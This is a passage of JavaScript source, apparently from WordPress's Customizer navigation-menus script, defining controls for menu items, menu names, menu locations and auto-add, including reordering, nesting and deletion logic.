				if ( ! matches ) {
					return;
				}
				menuId = parseInt( matches[1], 10 );
				if ( control.setting() === menuId ) {
					control.setting.set( '' );
				}
				control.container.find( 'option[value=' + menuId + ']' ).remove();
			});
			api.bind( 'change', function( setting ) {
				var menuId, matches = setting.id.match( navMenuIdRegex );
				if ( ! matches ) {
					return;
				}
				menuId = parseInt( matches[1], 10 );
				if ( false === setting() ) {
					if ( control.setting() === menuId ) {
						control.setting.set( '' );
					}
					control.container.find( 'option[value=' + menuId + ']' ).remove();
				} else {
					control.container.find( 'option[value=' + menuId + ']' ).text( displayNavMenuName( setting().name ) );
				}
			});
		}
	});

	api.Menus.MenuItemControl = api.Control.extend(/** @lends wp.customize.Menus.MenuItemControl.prototype */{

		/**
		 * wp.customize.Menus.MenuItemControl
		 *
		 * Customizer control for menu items.
		 * Note that 'menu_item' must match the WP_Customize_Menu_Item_Control::$type.
		 *
		 * @constructs wp.customize.Menus.MenuItemControl
		 * @augments   wp.customize.Control
		 *
		 * @inheritDoc
		 */
		initialize: function( id, options ) {
			var control = this;
			control.expanded = new api.Value( false );
			control.expandedArgumentsQueue = [];
			control.expanded.bind( function( expanded ) {
				var args = control.expandedArgumentsQueue.shift();
				args = $.extend( {}, control.defaultExpandedArguments, args );
				control.onChangeExpanded( expanded, args );
			});
			api.Control.prototype.initialize.call( control, id, options );
			control.active.validate = function() {
				var value, section = api.section( control.section() );
				if ( section ) {
					value = section.active();
				} else {
					value = false;
				}
				return value;
			};
		},

		/**
		 * Override the embed() method to do nothing,
		 * so that the control isn't embedded on load,
		 * unless the containing section is already expanded.
		 *
		 * @since 4.3.0
		 */
		embed: function() {
			var control = this,
				sectionId = control.section(),
				section;
			if ( ! sectionId ) {
				return;
			}
			section = api.section( sectionId );
			if ( ( section && section.expanded() ) || api.settings.autofocus.control === control.id ) {
				control.actuallyEmbed();
			}
		},

		/**
		 * This function is called in Section.onChangeExpanded() so the control
		 * will only get embedded when the Section is first expanded.
		 *
		 * @since 4.3.0
		 */
		actuallyEmbed: function() {
			var control = this;
			if ( 'resolved' === control.deferred.embedded.state() ) {
				return;
			}
			control.renderContent();
			control.deferred.embedded.resolve(); // This triggers control.ready().
		},

		/**
		 * Set up the control.
		 */
		ready: function() {
			if ( 'undefined' === typeof this.params.menu_item_id ) {
				throw new Error( 'params.menu_item_id was not defined' );
			}

			this._setupControlToggle();
			this._setupReorderUI();
			this._setupUpdateUI();
			this._setupRemoveUI();
			this._setupLinksUI();
			this._setupTitleUI();
		},

		/**
		 * Show/hide the settings when clicking on the menu item handle.
		 */
		_setupControlToggle: function() {
			var control = this;

			this.container.find( '.menu-item-handle' ).on( 'click', function( e ) {
				e.preventDefault();
				e.stopPropagation();
				var menuControl = control.getMenuControl(),
					isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ),
					isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' );

				if ( $( 'body' ).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) {
					api.Menus.availableMenuItemsPanel.close();
				}

				if ( menuControl.isReordering || menuControl.isSorting ) {
					return;
				}
				control.toggleForm();
			} );
		},

		/**
		 * Set up the menu-item-reorder-nav
		 */
		_setupReorderUI: function() {
			var control = this, template, $reorderNav;

			template = wp.template( 'menu-item-reorder-nav' );

			// Add the menu item reordering elements to the menu item control.
			control.container.find( '.item-controls' ).after( template );

			// Handle clicks for up/down/left-right on the reorder nav.
			$reorderNav = control.container.find( '.menu-item-reorder-nav' );
			$reorderNav.find( '.menus-move-up, .menus-move-down, .menus-move-left, .menus-move-right' ).on( 'click', function() {
				var moveBtn = $( this );
				moveBtn.focus();

				var isMoveUp = moveBtn.is( '.menus-move-up' ),
					isMoveDown = moveBtn.is( '.menus-move-down' ),
					isMoveLeft = moveBtn.is( '.menus-move-left' ),
					isMoveRight = moveBtn.is( '.menus-move-right' );

				if ( isMoveUp ) {
					control.moveUp();
				} else if ( isMoveDown ) {
					control.moveDown();
				} else if ( isMoveLeft ) {
					control.moveLeft();
				} else if ( isMoveRight ) {
					control.moveRight();
				}

				moveBtn.focus(); // Re-focus after the container was moved.
			} );
		},

		/**
		 * Set up event handlers for menu item updating.
		 */
		_setupUpdateUI: function() {
			var control = this,
				settingValue = control.setting(),
				updateNotifications;

			control.elements = {};
			control.elements.url = new api.Element( control.container.find( '.edit-menu-item-url' ) );
			control.elements.title = new api.Element( control.container.find( '.edit-menu-item-title' ) );
			control.elements.attr_title = new api.Element( control.container.find( '.edit-menu-item-attr-title' ) );
			control.elements.target = new api.Element( control.container.find( '.edit-menu-item-target' ) );
			control.elements.classes = new api.Element( control.container.find( '.edit-menu-item-classes' ) );
			control.elements.xfn = new api.Element( control.container.find( '.edit-menu-item-xfn' ) );
			control.elements.description = new api.Element( control.container.find( '.edit-menu-item-description' ) );
			// @todo Allow other elements, added by plugins, to be automatically picked up here;
			// allow additional values to be added to setting array.

			_.each( control.elements, function( element, property ) {
				element.bind(function( value ) {
					if ( element.element.is( 'input[type=checkbox]' ) ) {
						value = ( value ) ? element.element.val() : '';
					}

					var settingValue = control.setting();
					if ( settingValue && settingValue[ property ] !== value ) {
						settingValue = _.clone( settingValue );
						settingValue[ property ] = value;
						control.setting.set( settingValue );
					}
				});
				if ( settingValue ) {
					if ( ( property === 'classes' || property === 'xfn' ) && _.isArray( settingValue[ property ] ) ) {
						element.set( settingValue[ property ].join( ' ' ) );
					} else {
						element.set( settingValue[ property ] );
					}
				}
			});

			control.setting.bind(function( to, from ) {
				var itemId = control.params.menu_item_id,
					followingSiblingItemControls = [],
					childrenItemControls = [],
					menuControl;

				if ( false === to ) {
					menuControl = api.control( 'nav_menu[' + String( from.nav_menu_term_id ) + ']' );
					control.container.remove();

					_.each( menuControl.getMenuItemControls(), function( otherControl ) {
						if ( from.menu_item_parent === otherControl.setting().menu_item_parent && otherControl.setting().position > from.position ) {
							followingSiblingItemControls.push( otherControl );
						} else if ( otherControl.setting().menu_item_parent === itemId ) {
							childrenItemControls.push( otherControl );
						}
					});

					// Shift all following siblings by the number of children this item has.
					_.each( followingSiblingItemControls, function( followingSiblingItemControl ) {
						var value = _.clone( followingSiblingItemControl.setting() );
						value.position += childrenItemControls.length;
						followingSiblingItemControl.setting.set( value );
					});

					// Now move the children up to be the new subsequent siblings.
					_.each( childrenItemControls, function( childrenItemControl, i ) {
						var value = _.clone( childrenItemControl.setting() );
						value.position = from.position + i;
						value.menu_item_parent = from.menu_item_parent;
						childrenItemControl.setting.set( value );
					});

					menuControl.debouncedReflowMenuItems();
				} else {
					// Update the elements' values to match the new setting properties.
					_.each( to, function( value, key ) {
						if ( control.elements[ key] ) {
							control.elements[ key ].set( to[ key ] );
						}
					} );
					control.container.find( '.menu-item-data-parent-id' ).val( to.menu_item_parent );

					// Handle UI updates when the position or depth (parent) change.
					if ( to.position !== from.position || to.menu_item_parent !== from.menu_item_parent ) {
						control.getMenuControl().debouncedReflowMenuItems();
					}
				}
			});

			// Style the URL field as invalid when there is an invalid_url notification.
			updateNotifications = function() {
				control.elements.url.element.toggleClass( 'invalid', control.setting.notifications.has( 'invalid_url' ) );
			};
			control.setting.notifications.bind( 'add', updateNotifications );
			control.setting.notifications.bind( 'removed', updateNotifications );
		},

		/**
		 * Set up event handlers for menu item deletion.
		 */
		_setupRemoveUI: function() {
			var control = this, $removeBtn;

			// Configure delete button.
			$removeBtn = control.container.find( '.item-delete' );

			$removeBtn.on( 'click', function() {
				// Find an adjacent element to add focus to when this menu item goes away.
				var addingItems = true, $adjacentFocusTarget, $next, $prev,
					instanceCounter = 0, // Instance count of the menu item deleted.
					deleteItemOriginalItemId = control.params.original_item_id,
					addedItems = control.getMenuControl().$sectionContent.find( '.menu-item' ),
					availableMenuItem;

				if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) {
					addingItems = false;
				}

				$next = control.container.nextAll( '.customize-control-nav_menu_item:visible' ).first();
				$prev = control.container.prevAll( '.customize-control-nav_menu_item:visible' ).first();

				if ( $next.length ) {
					$adjacentFocusTarget = $next.find( false === addingItems ? '.item-edit' : '.item-delete' ).first();
				} else if ( $prev.length ) {
					$adjacentFocusTarget = $prev.find( false === addingItems ? '.item-edit' : '.item-delete' ).first();
				} else {
					$adjacentFocusTarget = control.container.nextAll( '.customize-control-nav_menu' ).find( '.add-new-menu-item' ).first();
				}

				/*
				 * If the menu item deleted is the only of its instance left,
				 * remove the check icon of this menu item in the right panel.
				 */
				_.each( addedItems, function( addedItem ) {
					var menuItemId, menuItemControl, matches;

					// This is because menu item that's deleted is just hidden.
					if ( ! $( addedItem ).is( ':visible' ) ) {
						return;
					}

					matches = addedItem.getAttribute( 'id' ).match( /^customize-control-nav_menu_item-(-?\d+)$/, '' );
					if ( ! matches ) {
						return;
					}

					menuItemId      = parseInt( matches[1], 10 );
					menuItemControl = api.control( 'nav_menu_item[' + String( menuItemId ) + ']' );

					// Check for duplicate menu items.
					if ( menuItemControl && deleteItemOriginalItemId == menuItemControl.params.original_item_id ) {
						instanceCounter++;
					}
				} );

				if ( instanceCounter <= 1 ) {
					// Revert the check icon to add icon.
					availableMenuItem = $( '#menu-item-tpl-' + control.params.original_item_id );
					availableMenuItem.removeClass( 'selected' );
					availableMenuItem.find( '.menu-item-handle' ).removeClass( 'item-added' );
				}

				control.container.slideUp( function() {
					control.setting.set( false );
					wp.a11y.speak( api.Menus.data.l10n.itemDeleted );
					$adjacentFocusTarget.focus(); // Keyboard accessibility.
				} );

				control.setting.set( false );
			} );
		},

		_setupLinksUI: function() {
			var $origBtn;

			// Configure original link.
			$origBtn = this.container.find( 'a.original-link' );

			$origBtn.on( 'click', function( e ) {
				e.preventDefault();
				api.previewer.previewUrl( e.target.toString() );
			} );
		},

		/**
		 * Update item handle title when changed.
		 */
		_setupTitleUI: function() {
			var control = this, titleEl;

			// Ensure that whitespace is trimmed on blur so placeholder can be shown.
			control.container.find( '.edit-menu-item-title' ).on( 'blur', function() {
				$( this ).val( $( this ).val().trim() );
			} );

			titleEl = control.container.find( '.menu-item-title' );
			control.setting.bind( function( item ) {
				var trimmedTitle, titleText;
				if ( ! item ) {
					return;
				}
				item.title = item.title || '';
				trimmedTitle = item.title.trim();

				titleText = trimmedTitle || item.original_title || api.Menus.data.l10n.untitled;

				if ( item._invalid ) {
					titleText = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', titleText );
				}

				// Don't update to an empty title.
				if ( trimmedTitle || item.original_title ) {
					titleEl
						.text( titleText )
						.removeClass( 'no-title' );
				} else {
					titleEl
						.text( titleText )
						.addClass( 'no-title' );
				}
			} );
		},

		/**
		 *
		 * @return {number}
		 */
		getDepth: function() {
			var control = this, setting = control.setting(), depth = 0;
			if ( ! setting ) {
				return 0;
			}
			while ( setting && setting.menu_item_parent ) {
				depth += 1;
				control = api.control( 'nav_menu_item[' + setting.menu_item_parent + ']' );
				if ( ! control ) {
					break;
				}
				setting = control.setting();
			}
			return depth;
		},

		/**
		 * Amend the control's params with the data necessary for the JS template just in time.
		 */
		renderContent: function() {
			var control = this,
				settingValue = control.setting(),
				containerClasses;

			control.params.title = settingValue.title || '';
			control.params.depth = control.getDepth();
			control.container.data( 'item-depth', control.params.depth );
			containerClasses = [
				'menu-item',
				'menu-item-depth-' + String( control.params.depth ),
				'menu-item-' + settingValue.object,
				'menu-item-edit-inactive'
			];

			if ( settingValue._invalid ) {
				containerClasses.push( 'menu-item-invalid' );
				control.params.title = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', control.params.title );
			} else if ( 'draft' === settingValue.status ) {
				containerClasses.push( 'pending' );
				control.params.title = api.Menus.data.pendingTitleTpl.replace( '%s', control.params.title );
			}

			control.params.el_classes = containerClasses.join( ' ' );
			control.params.item_type_label = settingValue.type_label;
			control.params.item_type = settingValue.type;
			control.params.url = settingValue.url;
			control.params.target = settingValue.target;
			control.params.attr_title = settingValue.attr_title;
			control.params.classes = _.isArray( settingValue.classes ) ? settingValue.classes.join( ' ' ) : settingValue.classes;
			control.params.xfn = settingValue.xfn;
			control.params.description = settingValue.description;
			control.params.parent = settingValue.menu_item_parent;
			control.params.original_title = settingValue.original_title || '';

			control.container.addClass( control.params.el_classes );

			api.Control.prototype.renderContent.call( control );
		},

		/***********************************************************************
		 * Begin public API methods
		 **********************************************************************/

		/**
		 * @return {wp.customize.controlConstructor.nav_menu|null}
		 */
		getMenuControl: function() {
			var control = this, settingValue = control.setting();
			if ( settingValue && settingValue.nav_menu_term_id ) {
				return api.control( 'nav_menu[' + settingValue.nav_menu_term_id + ']' );
			} else {
				return null;
			}
		},

		/**
		 * Expand the accordion section containing a control
		 */
		expandControlSection: function() {
			var $section = this.container.closest( '.accordion-section' );
			if ( ! $section.hasClass( 'open' ) ) {
				$section.find( '.accordion-section-title:first' ).trigger( 'click' );
			}
		},

		/**
		 * @since 4.6.0
		 *
		 * @param {Boolean} expanded
		 * @param {Object} [params]
		 * @return {Boolean} False if state already applied.
		 */
		_toggleExpanded: api.Section.prototype._toggleExpanded,

		/**
		 * @since 4.6.0
		 *
		 * @param {Object} [params]
		 * @return {Boolean} False if already expanded.
		 */
		expand: api.Section.prototype.expand,

		/**
		 * Expand the menu item form control.
		 *
		 * @since 4.5.0 Added params.completeCallback.
		 *
		 * @param {Object}   [params] - Optional params.
		 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
		 */
		expandForm: function( params ) {
			this.expand( params );
		},

		/**
		 * @since 4.6.0
		 *
		 * @param {Object} [params]
		 * @return {Boolean} False if already collapsed.
		 */
		collapse: api.Section.prototype.collapse,

		/**
		 * Collapse the menu item form control.
		 *
		 * @since 4.5.0 Added params.completeCallback.
		 *
		 * @param {Object}   [params] - Optional params.
		 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
		 */
		collapseForm: function( params ) {
			this.collapse( params );
		},

		/**
		 * Expand or collapse the menu item control.
		 *
		 * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide )
		 * @since 4.5.0 Added params.completeCallback.
		 *
		 * @param {boolean}  [showOrHide] - If not supplied, will be inverse of current visibility
		 * @param {Object}   [params] - Optional params.
		 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
		 */
		toggleForm: function( showOrHide, params ) {
			if ( typeof showOrHide === 'undefined' ) {
				showOrHide = ! this.expanded();
			}
			if ( showOrHide ) {
				this.expand( params );
			} else {
				this.collapse( params );
			}
		},

		/**
		 * Expand or collapse the menu item control.
		 *
		 * @since 4.6.0
		 * @param {boolean}  [showOrHide] - If not supplied, will be inverse of current visibility
		 * @param {Object}   [params] - Optional params.
		 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
		 */
		onChangeExpanded: function( showOrHide, params ) {
			var self = this, $menuitem, $inside, complete;

			$menuitem = this.container;
			$inside = $menuitem.find( '.menu-item-settings:first' );
			if ( 'undefined' === typeof showOrHide ) {
				showOrHide = ! $inside.is( ':visible' );
			}

			// Already expanded or collapsed.
			if ( $inside.is( ':visible' ) === showOrHide ) {
				if ( params && params.completeCallback ) {
					params.completeCallback();
				}
				return;
			}

			if ( showOrHide ) {
				// Close all other menu item controls before expanding this one.
				api.control.each( function( otherControl ) {
					if ( self.params.type === otherControl.params.type && self !== otherControl ) {
						otherControl.collapseForm();
					}
				} );

				complete = function() {
					$menuitem
						.removeClass( 'menu-item-edit-inactive' )
						.addClass( 'menu-item-edit-active' );
					self.container.trigger( 'expanded' );

					if ( params && params.completeCallback ) {
						params.completeCallback();
					}
				};

				$menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'true' );
				$inside.slideDown( 'fast', complete );

				self.container.trigger( 'expand' );
			} else {
				complete = function() {
					$menuitem
						.addClass( 'menu-item-edit-inactive' )
						.removeClass( 'menu-item-edit-active' );
					self.container.trigger( 'collapsed' );

					if ( params && params.completeCallback ) {
						params.completeCallback();
					}
				};

				self.container.trigger( 'collapse' );

				$menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'false' );
				$inside.slideUp( 'fast', complete );
			}
		},

		/**
		 * Expand the containing menu section, expand the form, and focus on
		 * the first input in the control.
		 *
		 * @since 4.5.0 Added params.completeCallback.
		 *
		 * @param {Object}   [params] - Params object.
		 * @param {Function} [params.completeCallback] - Optional callback function when focus has completed.
		 */
		focus: function( params ) {
			params = params || {};
			var control = this, originalCompleteCallback = params.completeCallback, focusControl;

			focusControl = function() {
				control.expandControlSection();

				params.completeCallback = function() {
					var focusable;

					// Note that we can't use :focusable due to a jQuery UI issue. See: https://github.com/jquery/jquery-ui/pull/1583
					focusable = control.container.find( '.menu-item-settings' ).find( 'input, select, textarea, button, object, a[href], [tabindex]' ).filter( ':visible' );
					focusable.first().focus();

					if ( originalCompleteCallback ) {
						originalCompleteCallback();
					}
				};

				control.expandForm( params );
			};

			if ( api.section.has( control.section() ) ) {
				api.section( control.section() ).expand( {
					completeCallback: focusControl
				} );
			} else {
				focusControl();
			}
		},

		/**
		 * Move menu item up one in the menu.
		 */
		moveUp: function() {
			this._changePosition( -1 );
			wp.a11y.speak( api.Menus.data.l10n.movedUp );
		},

		/**
		 * Move menu item up one in the menu.
		 */
		moveDown: function() {
			this._changePosition( 1 );
			wp.a11y.speak( api.Menus.data.l10n.movedDown );
		},
		/**
		 * Move menu item and all children up one level of depth.
		 */
		moveLeft: function() {
			this._changeDepth( -1 );
			wp.a11y.speak( api.Menus.data.l10n.movedLeft );
		},

		/**
		 * Move menu item and children one level deeper, as a submenu of the previous item.
		 */
		moveRight: function() {
			this._changeDepth( 1 );
			wp.a11y.speak( api.Menus.data.l10n.movedRight );
		},

		/**
		 * Note that this will trigger a UI update, causing child items to
		 * move as well and cardinal order class names to be updated.
		 *
		 * @private
		 *
		 * @param {number} offset 1|-1
		 */
		_changePosition: function( offset ) {
			var control = this,
				adjacentSetting,
				settingValue = _.clone( control.setting() ),
				siblingSettings = [],
				realPosition;

			if ( 1 !== offset && -1 !== offset ) {
				throw new Error( 'Offset changes by 1 are only supported.' );
			}

			// Skip moving deleted items.
			if ( ! control.setting() ) {
				return;
			}

			// Locate the other items under the same parent (siblings).
			_( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
				if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
					siblingSettings.push( otherControl.setting );
				}
			});
			siblingSettings.sort(function( a, b ) {
				return a().position - b().position;
			});

			realPosition = _.indexOf( siblingSettings, control.setting );
			if ( -1 === realPosition ) {
				throw new Error( 'Expected setting to be among siblings.' );
			}

			// Skip doing anything if the item is already at the edge in the desired direction.
			if ( ( realPosition === 0 && offset < 0 ) || ( realPosition === siblingSettings.length - 1 && offset > 0 ) ) {
				// @todo Should we allow a menu item to be moved up to break it out of a parent? Adopt with previous or following parent?
				return;
			}

			// Update any adjacent menu item setting to take on this item's position.
			adjacentSetting = siblingSettings[ realPosition + offset ];
			if ( adjacentSetting ) {
				adjacentSetting.set( $.extend(
					_.clone( adjacentSetting() ),
					{
						position: settingValue.position
					}
				) );
			}

			settingValue.position += offset;
			control.setting.set( settingValue );
		},

		/**
		 * Note that this will trigger a UI update, causing child items to
		 * move as well and cardinal order class names to be updated.
		 *
		 * @private
		 *
		 * @param {number} offset 1|-1
		 */
		_changeDepth: function( offset ) {
			if ( 1 !== offset && -1 !== offset ) {
				throw new Error( 'Offset changes by 1 are only supported.' );
			}
			var control = this,
				settingValue = _.clone( control.setting() ),
				siblingControls = [],
				realPosition,
				siblingControl,
				parentControl;

			// Locate the other items under the same parent (siblings).
			_( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
				if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
					siblingControls.push( otherControl );
				}
			});
			siblingControls.sort(function( a, b ) {
				return a.setting().position - b.setting().position;
			});

			realPosition = _.indexOf( siblingControls, control );
			if ( -1 === realPosition ) {
				throw new Error( 'Expected control to be among siblings.' );
			}

			if ( -1 === offset ) {
				// Skip moving left an item that is already at the top level.
				if ( ! settingValue.menu_item_parent ) {
					return;
				}

				parentControl = api.control( 'nav_menu_item[' + settingValue.menu_item_parent + ']' );

				// Make this control the parent of all the following siblings.
				_( siblingControls ).chain().slice( realPosition ).each(function( siblingControl, i ) {
					siblingControl.setting.set(
						$.extend(
							{},
							siblingControl.setting(),
							{
								menu_item_parent: control.params.menu_item_id,
								position: i
							}
						)
					);
				});

				// Increase the positions of the parent item's subsequent children to make room for this one.
				_( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
					var otherControlSettingValue, isControlToBeShifted;
					isControlToBeShifted = (
						otherControl.setting().menu_item_parent === parentControl.setting().menu_item_parent &&
						otherControl.setting().position > parentControl.setting().position
					);
					if ( isControlToBeShifted ) {
						otherControlSettingValue = _.clone( otherControl.setting() );
						otherControl.setting.set(
							$.extend(
								otherControlSettingValue,
								{ position: otherControlSettingValue.position + 1 }
							)
						);
					}
				});

				// Make this control the following sibling of its parent item.
				settingValue.position = parentControl.setting().position + 1;
				settingValue.menu_item_parent = parentControl.setting().menu_item_parent;
				control.setting.set( settingValue );

			} else if ( 1 === offset ) {
				// Skip moving right an item that doesn't have a previous sibling.
				if ( realPosition === 0 ) {
					return;
				}

				// Make the control the last child of the previous sibling.
				siblingControl = siblingControls[ realPosition - 1 ];
				settingValue.menu_item_parent = siblingControl.params.menu_item_id;
				settingValue.position = 0;
				_( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
					if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
						settingValue.position = Math.max( settingValue.position, otherControl.setting().position );
					}
				});
				settingValue.position += 1;
				control.setting.set( settingValue );
			}
		}
	} );

	/**
	 * wp.customize.Menus.MenuNameControl
	 *
	 * Customizer control for a nav menu's name.
	 *
	 * @class    wp.customize.Menus.MenuNameControl
	 * @augments wp.customize.Control
	 */
	api.Menus.MenuNameControl = api.Control.extend(/** @lends wp.customize.Menus.MenuNameControl.prototype */{

		ready: function() {
			var control = this;

			if ( control.setting ) {
				var settingValue = control.setting();

				control.nameElement = new api.Element( control.container.find( '.menu-name-field' ) );

				control.nameElement.bind(function( value ) {
					var settingValue = control.setting();
					if ( settingValue && settingValue.name !== value ) {
						settingValue = _.clone( settingValue );
						settingValue.name = value;
						control.setting.set( settingValue );
					}
				});
				if ( settingValue ) {
					control.nameElement.set( settingValue.name );
				}

				control.setting.bind(function( object ) {
					if ( object ) {
						control.nameElement.set( object.name );
					}
				});
			}
		}
	});

	/**
	 * wp.customize.Menus.MenuLocationsControl
	 *
	 * Customizer control for a nav menu's locations.
	 *
	 * @since 4.9.0
	 * @class    wp.customize.Menus.MenuLocationsControl
	 * @augments wp.customize.Control
	 */
	api.Menus.MenuLocationsControl = api.Control.extend(/** @lends wp.customize.Menus.MenuLocationsControl.prototype */{

		/**
		 * Set up the control.
		 *
		 * @since 4.9.0
		 */
		ready: function () {
			var control = this;

			control.container.find( '.assigned-menu-location' ).each(function() {
				var container = $( this ),
					checkbox = container.find( 'input[type=checkbox]' ),
					element = new api.Element( checkbox ),
					navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' ),
					isNewMenu = control.params.menu_id === '',
					updateCheckbox = isNewMenu ? _.noop : function( checked ) {
						element.set( checked );
					},
					updateSetting = isNewMenu ? _.noop : function( checked ) {
						navMenuLocationSetting.set( checked ? control.params.menu_id : 0 );
					},
					updateSelectedMenuLabel = function( selectedMenuId ) {
						var menuSetting = api( 'nav_menu[' + String( selectedMenuId ) + ']' );
						if ( ! selectedMenuId || ! menuSetting || ! menuSetting() ) {
							container.find( '.theme-location-set' ).hide();
						} else {
							container.find( '.theme-location-set' ).show().find( 'span' ).text( displayNavMenuName( menuSetting().name ) );
						}
					};

				updateCheckbox( navMenuLocationSetting.get() === control.params.menu_id );

				checkbox.on( 'change', function() {
					// Note: We can't use element.bind( function( checked ){ ... } ) here because it will trigger a change as well.
					updateSetting( this.checked );
				} );

				navMenuLocationSetting.bind( function( selectedMenuId ) {
					updateCheckbox( selectedMenuId === control.params.menu_id );
					updateSelectedMenuLabel( selectedMenuId );
				} );
				updateSelectedMenuLabel( navMenuLocationSetting.get() );
			});
		},

		/**
		 * Set the selected locations.
		 *
		 * This method sets the selected locations and allows us to do things like
		 * set the default location for a new menu.
		 *
		 * @since 4.9.0
		 *
		 * @param {Object.<string,boolean>} selections - A map of location selections.
		 * @return {void}
		 */
		setSelections: function( selections ) {
			this.container.find( '.menu-location' ).each( function( i, checkboxNode ) {
				var locationId = checkboxNode.dataset.locationId;
				checkboxNode.checked = locationId in selections ? selections[ locationId ] : false;
			} );
		}
	});

	/**
	 * wp.customize.Menus.MenuAutoAddControl
	 *
	 * Customizer control for a nav menu's auto add.
	 *
	 * @class    wp.customize.Menus.MenuAutoAddControl
	 * @augments wp.customize.Control
	 */
	api.Menus.MenuAutoAddControl = api.Control.extend(/** @lends wp.customize.Menus.MenuAutoAddControl.prototype */{

		ready: function() {
			var control = this,
				settingValue = control.setting();

			/*
			 * Since the control is not registered in PHP, we need to prevent the
			 * preview's sending of the activeControls to result in this control
			 * being deactivated.
			 */
			control.active.validate = function() {
				var value, section = api.section( control.section() );
				if ( section ) {
					value = section.active();
				} else {
					value = false;
				}
				return value;
			};

			control.autoAddElement = new api.Element( control.container.find( 'input[type=checkbox].auto_add' ) );

			control.autoAddElement.bind(function( value ) {
				var settingValue = control.setting();
				if ( settingValue && settingValue.name !== value ) {
					settingValue = _.clone( settingValue );
					settingValue.auto_add = value;
					control.setting.set( settingValue );
				}
			});
			if ( settingValue ) {
				control.autoAddElement.set( settingValue.auto_add );
			}

			control.setting.bind(function( object ) {
				if ( object ) {
					control.autoAddElement.set( object.auto_add );
				}
			});
		}

	});

	/**
	 * wp.customize.Menus.MenuControl
	 *
	 * Customizer control for menus.
	 * Note that 'nav_menu' must match the WP_Menu_Customize_Control::$type
	 *
	 * @class    wp.customize.Menus.MenuControl
	 * @augments wp.customize.Control
	 */
	api.Menus.MenuControl = api.Control.extend(/** @lends wp.customize.Menus.MenuControl.prototype */{
		/**
		 * Set up the control.
		 */
		ready: function() {
			var control = this,
				section = api.section( control.section() ),
				menuId = control.params.menu_id,
				menu = control.setting(),
				name,
				widgetTemplate,
				select;

			if ( 'undefined' === typeof this.params.menu_id ) {
				throw new Error( 'params.menu_id was not defined' );
			}

			/*
			 * Since the control is not registered in PHP, we need to prevent the
			 * preview's sending of the activeControls to result in this control
			 * being deactivated.
			 */
			control.active.validate = function() {
				var value;
				if ( section ) {
					value = section.active();
				} else {
					value = false;
				}
				return value;
			};

			control.$controlSection = section.headContainer;
			control.$sectionContent = control.container.closest( '.accordion-section-content' );

			this._setupModel();

			api.section( control.section(), function( section ) {
				section.deferred.initSortables.done(function( menuList ) {
					control._setupSortable( menuList );
				});
			} );

			this._setupAddition();
			this._setupTitle();

			// Add menu to Navigation Menu widgets.
			if ( menu ) {
				name = displayNavMenuName( menu.name );

				// Add the menu to the existing controls.
				api.control.each( function( widgetControl ) {
					if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
						return;
					}
					widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).show();
					widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).hide();

					select = widgetControl.container.find( 'select' );
					if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) {
						select.append( new Option( name, menuId ) );
					}
				} );

				// Add the menu to the widget template.
				widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' );
				widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).show();
				widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).hide();
				select = widgetTemplate.find( '.widget-inside select:first' );
				if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) {
					select.append( new Option( name, menuId ) );
				}
			}

			/*
			 * Wait for menu items to be added.
			 * Ideally, we'd bind to an event indicating construction is complete,
			 * but deferring appears to be the best option today.
			 */
			_.defer( function () {
				control.updateInvitationVisibility();
			} );
		},

		/**
		 * Update ordering of menu item controls when the setting is updated.
		 */
		_setupModel: function() {
			var control = this,
				menuId = control.params.menu_id;

			control.setting.bind( function( to ) {
				var name;
				if ( false === to ) {
					control._handleDeletion();
				} else {
					// Update names in the Navigation Menu widgets.
					name = displayNavMenuName( to.name );
					api.control.each( function( widgetControl ) {
						if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
							return;
						}
						var select = widgetControl.container.find( 'select' );
						select.find( 'option[value=' + String( menuId ) + ']' ).text( name );
					});
				}
			} );
		},

		/**
		 * Allow items in each menu to be re-ordered, and for the order to be previewed.
		 *
		 * Notice that the UI aspects here are handled by wpNavMenu.initSortables()
		 * which is called in MenuSection.onChangeExpanded()
		 *
		 * @param {Object} menuList - The element that has sortable().
		 */
		_setupSortable: function( menuList ) {
			var control = this;

			if ( ! menuList.is( control.$sectionContent ) ) {
				throw new Error( 'Unexpected menuList.' );
			}

			menuList.on( 'sortstart', function() {
				control.isSorting = true;
			});

			menuList.on( 'sortstop', function() {
				setTimeout( function() { // Next tick.
					var menuItemContainerIds = control.$sectionContent.sortable( 'toArray' ),
						menuItemControls = [],
						position = 0,
						priority = 10;

					control.isSorting = false;

					// Reset horizontal scroll position when done dragging.
					control.$sectionContent.scrollLeft( 0 );

					_.each( menuItemContainerIds, function( menuItemContainerId ) {
						var menuItemId, menuItemControl, matches;
						matches = menuItemContainerId.match( /^customize-control-nav_menu_item-(-?\d+)$/, '' );
						if ( ! matches ) {
							return;
						}
						menuItemId = parseInt( matches[1], 10 );
